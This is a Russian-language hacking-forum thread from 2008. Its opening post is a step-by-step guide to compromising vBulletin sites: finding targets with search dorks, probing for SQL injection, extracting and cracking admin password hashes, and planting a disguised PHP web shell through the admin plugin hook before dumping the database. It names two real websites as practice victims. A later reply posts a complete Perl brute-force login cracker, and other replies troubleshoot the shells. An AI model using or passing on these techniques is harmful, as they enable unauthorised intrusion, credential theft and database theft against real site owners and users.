Взлом сайта с форумом vBulletin

Тема в разделе "Статьи", создана пользователем GettoLove, 20 фев 2008.

  1. GettoLove
    GettoLove Guest
    Что нам для этого надо?
    1. Форум vBulletin.
    2. Логин и Пароль админа.
    3. Сам шелл. (Рекоминдую Antichat Shell)*
    * Так как не все шеллы работают при заливе через админку, если Вы предопочитаете работать с другим шеллом (например r57 или c99), то поднимите тодже простой "Antichat Shell" а через него уже поднимите что вам хочетца.


    У меня НЕТ пароля админа, что мне делать?
    Есть много способов добыть пароль у админа, напишу 2 из них, и один объесню.
    1. Найти exploit (Почти не актуально на новых движках где админ чуть умнее макаки).
    2. Найти самому SQL инджекцыю вне форума.
    У многих самописных сайтов есть форумы, зохидим на такие сайты и ишем SQL инджекцыю. Это давольно не так трудно, но Вам необходимо уметь проводить её. Как это делоть не стоит объеснят так как на этом форуме есть куча статей про неё.

    И так приступаем, буду объеснять на примерах. У нас нет сайта для взлома, начинаем с нуля. (Это относитца не только к vBulletin, но и к другим форумам)
    1. Заходим в http://www.google.com и пишем:
    Код:
    site:.com inurl:php=id games
    2. Заходим в каждый сайт, смотрим наличие строки "Forum" в навигатцыи (95% она там есть)
    3. Подставляем "кавычку" в переменую "id", смотрим результат. (сайт.com/news.php?id=4’)
    3.1. Если нечего интересного не увидили, вазможно там "Blind SQL" (в 70% это так)
    3.2. После переменой "id" ставим такой запрос:
    Код:
    +order+by+1/*
    после чего сразу ставим:
    Код:
    +order+by+1000/*
    если первый результат отличаетца от второго, значит всетаки SQL инджекцыя там есть.
    4. Скажем что нам попался сайт с форумом vBulletin, достаём с него поля: username,password,salt из таблицы user. Если ешё сомниваемся как это сделать, советую прочитать ЭТУ статью от Constantine.
    5. И так мы достали нужную нам информацыю о админе, запускаем "Passwords Pro" и крякаем пароль. Подробно об этом Вы узнаете в ЭТОЙ статье от Koller.
    6. Если Вы все провили успешно, и пароль не оказался слишком сложным то Вы его запалучили.

    У меня есть пароль к админке, что мне делоть дальше (vBulletin)?
    Много чего можно сделать например сразу слить базу даных, но я не буду об этом объеснять в даной статье, здесь я расказу как залить свой шелл на сервер. И так приступаем...
    1. Заходим на сайт.com/forum(s)/admincp/ и логинимся как админ.
    2. Идём вниз по левому меню и находим "Plugins & Products" и нажымаем на "Add New Plugin"
    [​IMG]
    3. После чего нам выходит новая страница с формой которую мы заполняем.
    4. Product: vBulletin
    5. Hook Location: vBulletin: AJAX Functions >> ajax start
    6. Title: Пишем чтото простое вроде test, chat чтобы не палица сильно.
    7. Execution Order: 5
    8. Plugin PHP Code: Это место для нашего шелла. ВНИМАНИЕ Ваш код должен быть без <?PHP ?>
    в начале и в конце.
    9. Plugin is Active: Yes
    10. Нажымаем Save.
    ai044.radikal.ru_0802_ca_168c8f5ac9f3.jpg
    Хочу напомнить что некоторые шеллы как r57 и nstview могут не сработать, такчто луче используйте простой шелл от antichat для начала.

    И так если все пошло провильно, то тепер зайдя по даной ссылке вы увидите свой шелл.
    Код:
    сайт.com/forum(s)/ajax.php
    Желатильно сразу же поднят еше одну копию шелла в какуюто директорию сайта, и работать уже с того шелла, а этот удалить, так как админ его заметит рано или позно.
    Чтобы удалить шелл идём в "Plugin Manager" и нажымаем "Delete".

    Что делоть далше?
    Далше можно пойти в директорию install/config.php и увидить пароль для БД, после чего можно слить БД если Вы это еше не сделали.
    Если Вам показалось этого мало можно попытатця взломать сервер и добратся до root’а.
    В этом вам поможет ЭТА статья от rijy.

    Что делать если не получилось найти сайт с уязвимостью и с форумом?
    Ишите далше, их полно. Для практики я выложу Вам две лёхкие жертвы:
    Код:
    http://www.gamershood.com
    http://www.psu.com
    Где в них уязвимости говорить не буду, на то есть практика, поишите по разным страницам, ставьте ковычки в переменые, меняйте ордер, в конце концов Вы их найдёте, если что то Вам не понято спрашуйте.

    На этом даную статью хочу закончить. Сорри за плохую орфографию.
    (c) GettoLove
     
    20 фев 2008
    9 пользователям это понравилось.
  2. [Esc]ape
    [Esc]ape Guest
    GettoLove,
    молодец, одним словом!
     
    20 фев 2008
  3. Молодец, спасибо. Для обучающихся, типа меня, статья очень полезная и толково написанная.
    Один небольшой недочет, но ты и сам его заметил, это орфография. Я сам пишу с ошибками, но Статья это всё-таки нечто более солидное, чем просто пост в тему, а солидность надо всё ж соблюдать. Прогнал бы быстренько через Ворд, делов-то на 2 минуты, зато красивше б было.

    И ещё вопросик по самой статье вот тут ты пишешь
    Эту копию я так понял надо делать при помощи шела, который загрузили через админку? Или каким-то другим способом? Мож глупость спросил, но этот момент я не очень понял (про создание копии в другой директории сайта)
    П.С. Ещё хочу чуток сказать насчёт орфографии-то. Это ж не просто придирки там, насколько я понимаю "Поиск" по сайту будет затруднён, если слова писать не совсем правильно, что в свою очередь может породить ненужные вопросы по проблемам, которые были уже подняты.
    Но в целом всё ж таки повторюсь, молодец.
     
    20 фев 2008
  4. GettoLove
    GettoLove Guest
    Имено так
    Кароч я устал очен и неспал сутки, пайду кимарну, а как проснусь попытаюсь наладить...
     
    Последнее редактирование модератором: 20 фев 2008
    20 фев 2008
  5. Robo
    Robo Guest
    Не информационно, фактически при наличие иньекции можно работать через форум, это не новость + получилась статья по теме заливаем шелл в булку, а это на статью как то не катит

    // ПЕРЕНЁС в веб-хакинг
     
    20 фев 2008
  6. Zik
    Zik Guest
    GettoLove,
    возникает вопрос как узнать что сайт построен на vBulletin
     
    20 фев 2008
  7. <Getch>
    <Getch> Guest
    Визуально, и еще чаще всего внизу написано что-то типа:
    перевод: zCarot, Vovan & Co
     
    20 фев 2008
  8. GettoLove
    GettoLove Guest
    Robo,
    Можно мне объеснить канкретно в чем притензия? Так как я действовал по этим https://xaker.name/forvb/showthread.php?t=7160 привилам, и на мой взгляд отклонения от них невижу.

    В этой статье я обьеснил как взломать сайт, многое что я там говорил, есть в других темах. Я попытался собрать всю информацыю и выложыть ее так, чтобы было понятоно как имено начинать взлом, и искать жертву. Хз вроде статья нечего получилась, только надо ее хорошо отредактировать, убрать орфографию и т.д.

    Кстати за залитие шелла вроде не где и не на каком форуме я не нашол (не говорю что нету, но я не нашол!). Мне об этом расказал один знакомый, я это делал и запутался, потом когда разобрался, решыл по делица знаниями и обьеснить все конкретно, так чтобы даже новичок понял..

    ЗЫ Я то както не гонюсь чтобы статья была в "Нашы статьи", для меня и здесь она норм смотрица просто я писал ее имено для этого форума и вроде правило не нарушел...

    А вот это я не понял
     
    20 фев 2008
    1 человеку нравится это.
  9. fYt
    fYt Guest
    Нормальная статья(автору респект за старания), может кто бы и не догадался и еще не догадается работать с форумом через скуль.

    И можно было спокойнее расписать в чем ошибки и где подправить(улучшить, а имхо набрасываться на статью и жестоко *обо* ее, труда не представляет. Тем более со стороны таких авторитетных людей это вообще недопустимо;)
     
    22 фев 2008
  10. NARKOZ
    NARKOZ Guest
    Плевое дело. Лехххче не бывает.
    Взломал: Хакнут форум.
     
    Последнее редактирование модератором: 25 фев 2008
    25 фев 2008
  11. flem
    flem Guest
    вот еше можно брутом на перле пройтись =)

    Код:
    #!/usr/bin/perl
    
    use IO::Socket;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Time::HiRes qw(gettimeofday);
    
    $host = $ARGV[0];
    $usern = $ARGV[1];
    $passw = $ARGV[2];
    $uname = $ARGV[3];
    $url = "http://".$host;
    $alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
    $charcount = 24; #number of chars in $alpha
    $dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
    $count = 0;
    $logins = 0;
    $minchars = 1; #min chars
    $maxchars = 10; #max chars
    
    print q(
    ##################################################  #########
    #                vBulletin brute forcer                   #
    #              http://www.unnamedone.com                  #
    #               brian_denys@hotmail.com                   #
    #                  09 - April - 2008                      #
    ################## Coded By UnnamedOne ####################
    );
    
    if (@ARGV < 4)
    {
       print " #  I am not responsible for anything that you do with this!\n";
       print " #  This has been tested on vBulletin 3.6.8 and 3.7.0!\n";
       print " #  usage : vbrute.pl [host & path] [user] [pass] [target]\n";
       print " #  E.g : vbrute.pl www.milw0rm.com/vBulletin3.6.8/ UnnamedOne MyPass str0ke\n";
       exit();
    }
    
    fakelogin();
    for(my $t=$minchars;$t<=$maxchars;$t++)
    {
       crack($t);
    }
    
    sub fakelogin {
       $xplr = LWP::UserAgent->new() or die;
       $cookie_jarr = HTTP::Cookies->new();
       $xplr->cookie_jar( $cookie_jarr );
       $resr = $xplr->post($url.'login.php?do=login',
       Content => [
       "vb_login_username"   => "$usern",
       "vb_login_password"   => "$passw",
       "do"      => "login",
       ],);
       if($cookie_jarr->as_string =~ /IDstack=(.*?);/) {
          #Do nothing..
       }
       else
       {
          #print $cookie_jarr->as_string;
          print "Forum not vulnerable or wrong username / password.\n";
          exit();
       }
    }
    
    sub crack {
       $xpl = LWP::UserAgent->new() or die;
       $cookie_jar = HTTP::Cookies->new();
       $CharSet = shift;
       @RawString = ();
       for (my $i =0;$i<$CharSet;$i++) {
          $RawString = 0;
       }
       $Start = gettimeofday();
       do {
          for (my $i =0;$i<$CharSet;$i++)
          {
             if ($RawString[$i] > length($alpha)-1) {
                if ($i==$CharSet-1) {
                   $cnt = 0;
                   return false;
                }
                $RawString[$i+1]++;
                $RawString[$i]=0;
             }
          }
          $ret = "";
          for (my $i =0;$i<$CharSet;$i++) {
             $ret = $ret . substr($alpha,$RawString[$i],1);
          }
          $count++;
          if($count == 4) {
             fakelogin();
             $count = 0;
          }
          $xpl->cookie_jar( $cookie_jar );
          $res = $xpl->post($url.'login.php?do=login',
          Content => [
          "vb_login_username"   => "$uname",
          "vb_login_password"   => "$ret",
          "do"      => "login",
          ],);
          $cnt++;
          $Stop = gettimeofday();
          if ($Stop-$Start>$dbgtmr) {
             $cnt = int($cnt/$dbgtmr);
             $Start = gettimeofday();
          }
          $logins++;
          system("clear");
          $pro = ($logins / ($charcount * $maxchars));
          print "Current password: $ret\n";
          print "Login attempts: $logins\n";
          print "Cracking speed: $cnt passwords/sec\n";
          print "$pro% finished.\n";
          $cnt = 0;
          if($cookie_jar->as_string =~ /IDstack=(.*?);/) {
             print "Password cracked! => $ret\n";
             exit();
    
          }
          $RawString[0]++;
       }while($RawString[$CharSet-1]<length($alpha));
    }


    сполйт под vBulletin3.6.8
     
    5 июл 2008
  12. Koller
    Koller Guest
    Написано вроде This has been tested on vBulletin 3.6.8 and 3.7.0
    Работает ли на 3.7.1...надо будет на досуге испытать...
     
    5 июл 2008
  13. Kernet
    Kernet Guest
    При запуске шелла вылазит Маркер безопастности не может быть обработан.Как бороться?
     
    19 окт 2008
  14. NetSky
    NetSky Guest
    Че за шелл? Юзай тот же r57 или c99...
     
    19 окт 2008
  15. Kernet
    Kernet Guest
    очад шелл,р57 вобще не запускается с99 выдает такую-же ошибку=/
     
    19 окт 2008
  16. Хел
    Хел Guest
    19 окт 2008
  17. Kernet
    Kernet Guest
    СпС Помог!
     
    19 окт 2008
  18. Хел
    Хел Guest
    Meltdown,
    этот шелл пашет?
     
    19 окт 2008
  19. Kernet
    Kernet Guest
    Да,через IE,Но там дополнительное запоролирование админки,поэтому файлы не изменить,даже чмод не могу=/
     
    19 окт 2008
  20. Хел
    Хел Guest
    Meltdown,
    я шелл писал этот) всмысле дополнительное запароливание?
     
    19 окт 2008
Загрузка...